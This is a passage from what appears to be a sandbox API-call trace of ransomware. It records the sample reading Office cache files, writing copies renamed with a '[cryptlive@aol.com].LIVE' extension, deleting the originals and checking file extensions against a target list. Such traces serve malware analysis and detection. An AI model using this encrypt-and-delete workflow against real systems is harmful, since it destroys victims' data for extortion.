nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0038.863] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.863] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.863] SetEndOfFile (hFile=0x180) returned 1 [0038.864] CloseHandle (hObject=0x180) returned 1 [0038.865] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.865] SetEndOfFile (hFile=0x17c) returned 1 [0038.865] CloseHandle (hObject=0x17c) returned 1 [0038.866] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.866] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.866] lstrlenW (lpString=".doc") returned 4 [0038.866] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.866] lstrlenW (lpString=".docx") returned 5 [0038.866] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.866] lstrlenW (lpString=".pdf") returned 4 [0038.866] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.866] lstrlenW (lpString=".xls") returned 4 [0038.866] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.866] lstrlenW (lpString=".xlsx") returned 5 [0038.866] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.866] lstrlenW (lpString=".ppt") returned 4 [0038.866] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.866] lstrlenW (lpString=".zip") returned 4 [0038.866] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.867] lstrlenW (lpString=".rar") returned 4 [0038.867] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString=".bz2") returned 4 [0038.867] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString=".7z") returned 3 [0038.867] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.867] lstrlenW (lpString=".dbf") returned 4 [0038.867] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.867] lstrlenW (lpString=".1cd") returned 4 [0038.867] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.867] lstrlenW (lpString=".jpg") returned 4 [0038.867] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.867] lstrlenW (lpString=".doc") returned 4 [0038.867] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString=".docx") returned 5 [0038.867] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.867] lstrlenW (lpString=".pdf") returned 4 [0038.867] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString=".xls") returned 4 [0038.867] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString=".xlsx") returned 5 [0038.867] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.867] lstrlenW (lpString=".ppt") returned 4 [0038.867] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.867] lstrlenW (lpString=".zip") returned 4 [0038.867] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.867] lstrlenW (lpString=".rar") returned 4 [0038.867] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.867] lstrlenW (lpString=".bz2") returned 4 [0038.868] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.868] lstrlenW (lpString=".7z") returned 3 [0038.868] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.868] lstrlenW (lpString=".dbf") returned 4 [0038.868] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.868] lstrlenW (lpString=".1cd") returned 4 [0038.868] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.868] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.868] lstrlenW (lpString=".jpg") returned 4 [0038.868] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.868] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.868] lstrlenW (lpString="branding.xml") returned 12 [0038.868] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0038.869] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=596341) returned 1 [0038.869] CloseHandle (hObject=0x17c) returned 1 [0038.869] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0038.869] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0038.869] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.869] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0038.870] GetLastError () returned 0x0 [0038.870] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x91975, lpOverlapped=0x0) returned 1 [0038.884] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0039.242] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.242] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0039.242] SetEndOfFile (hFile=0x180) returned 1 [0039.243] CloseHandle (hObject=0x180) returned 1 [0039.255] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.255] SetEndOfFile (hFile=0x17c) returned 1 [0039.263] CloseHandle (hObject=0x17c) returned 1 [0039.263] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.355] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.356] lstrlenW (lpString=".doc") returned 4 [0039.356] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".docx") returned 5 [0039.356] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0039.356] lstrlenW (lpString=".pdf") returned 4 [0039.356] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".xls") returned 4 [0039.356] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".xlsx") returned 5 [0039.356] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0039.356] lstrlenW (lpString=".ppt") returned 4 [0039.356] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.356] lstrlenW (lpString=".zip") returned 4 [0039.356] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.356] lstrlenW (lpString=".rar") returned 4 [0039.356] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".bz2") returned 4 [0039.356] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString=".7z") returned 3 [0039.356] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.356] lstrlenW (lpString=".dbf") returned 4 [0039.356] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.356] lstrlenW (lpString=".1cd") returned 4 [0039.357] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.357] lstrlenW (lpString=".jpg") returned 4 [0039.357] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.357] lstrlenW (lpString=".doc") returned 4 [0039.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".docx") returned 5 [0039.357] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0039.357] lstrlenW (lpString=".pdf") returned 4 [0039.357] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".xls") returned 4 [0039.357] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".xlsx") returned 5 [0039.357] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0039.357] lstrlenW (lpString=".ppt") returned 4 [0039.357] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.357] lstrlenW (lpString=".zip") returned 4 [0039.357] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.357] lstrlenW (lpString=".rar") returned 4 [0039.357] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".bz2") returned 4 [0039.357] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.357] lstrlenW (lpString=".7z") returned 3 [0039.357] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.358] lstrlenW (lpString=".dbf") returned 4 [0039.358] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.358] lstrlenW (lpString=".1cd") returned 4 [0039.358] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0039.358] lstrlenW (lpString=".jpg") returned 4 [0039.358] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.358] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.358] lstrlenW (lpString="Setup.xml") returned 9 [0039.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0039.359] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2624) returned 1 [0039.359] CloseHandle (hObject=0x1ac) returned 1 [0039.359] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0039.359] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.359] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0039.359] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.359] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0039.360] GetLastError () returned 0x0 [0039.360] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xa40, lpOverlapped=0x0) returned 1 [0039.595] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0039.596] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.596] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.596] SetEndOfFile (hFile=0x1a8) returned 1 [0039.597] CloseHandle (hObject=0x1a8) returned 1 [0039.597] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.597] SetEndOfFile (hFile=0x1ac) returned 1 [0039.598] CloseHandle (hObject=0x1ac) returned 1 [0039.598] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0039.599] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0039.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.599] lstrlenW (lpString=".doc") returned 4 [0039.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.599] lstrlenW (lpString=".docx") returned 5 [0039.599] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.599] lstrlenW (lpString=".pdf") returned 4 [0039.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.599] lstrlenW (lpString=".xls") returned 4 [0039.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.599] lstrlenW (lpString=".xlsx") returned 5 [0039.599] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.599] lstrlenW (lpString=".ppt") returned 4 [0039.599] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.599] lstrlenW (lpString=".zip") returned 4 [0039.599] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.599] lstrlenW (lpString=".rar") returned 4 [0039.599] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.599] lstrlenW (lpString=".bz2") returned 4 [0039.599] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.599] lstrlenW (lpString=".7z") returned 3 [0039.599] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.599] lstrlenW (lpString=".dbf") returned 4 [0039.599] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.599] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.600] lstrlenW (lpString=".1cd") returned 4 [0039.600] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.600] lstrlenW (lpString=".jpg") returned 4 [0039.600] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.600] lstrlenW (lpString=".doc") returned 4 [0039.600] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString=".docx") returned 5 [0039.600] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.600] lstrlenW (lpString=".pdf") returned 4 [0039.600] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString=".xls") returned 4 [0039.600] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString=".xlsx") returned 5 [0039.600] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.600] lstrlenW (lpString=".ppt") returned 4 [0039.600] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.600] lstrlenW (lpString=".zip") returned 4 [0039.600] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.600] lstrlenW (lpString=".rar") returned 4 [0039.600] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString=".bz2") returned 4 [0039.600] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString=".7z") returned 3 [0039.600] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.600] lstrlenW (lpString=".dbf") returned 4 [0039.600] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.600] lstrlenW (lpString=".1cd") returned 4 [0039.601] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.601] lstrlenW (lpString=".jpg") returned 4 [0039.601] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.601] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0039.601] lstrlenW (lpString="Office32WW.xml") returned 14 [0039.601] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0039.602] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4274) returned 1 [0039.602] CloseHandle (hObject=0x1ac) returned 1 [0039.602] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0039.602] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0039.602] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0039.602] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.602] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.602] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0039.603] GetLastError () returned 0x0 [0039.603] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0040.331] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b30020*, 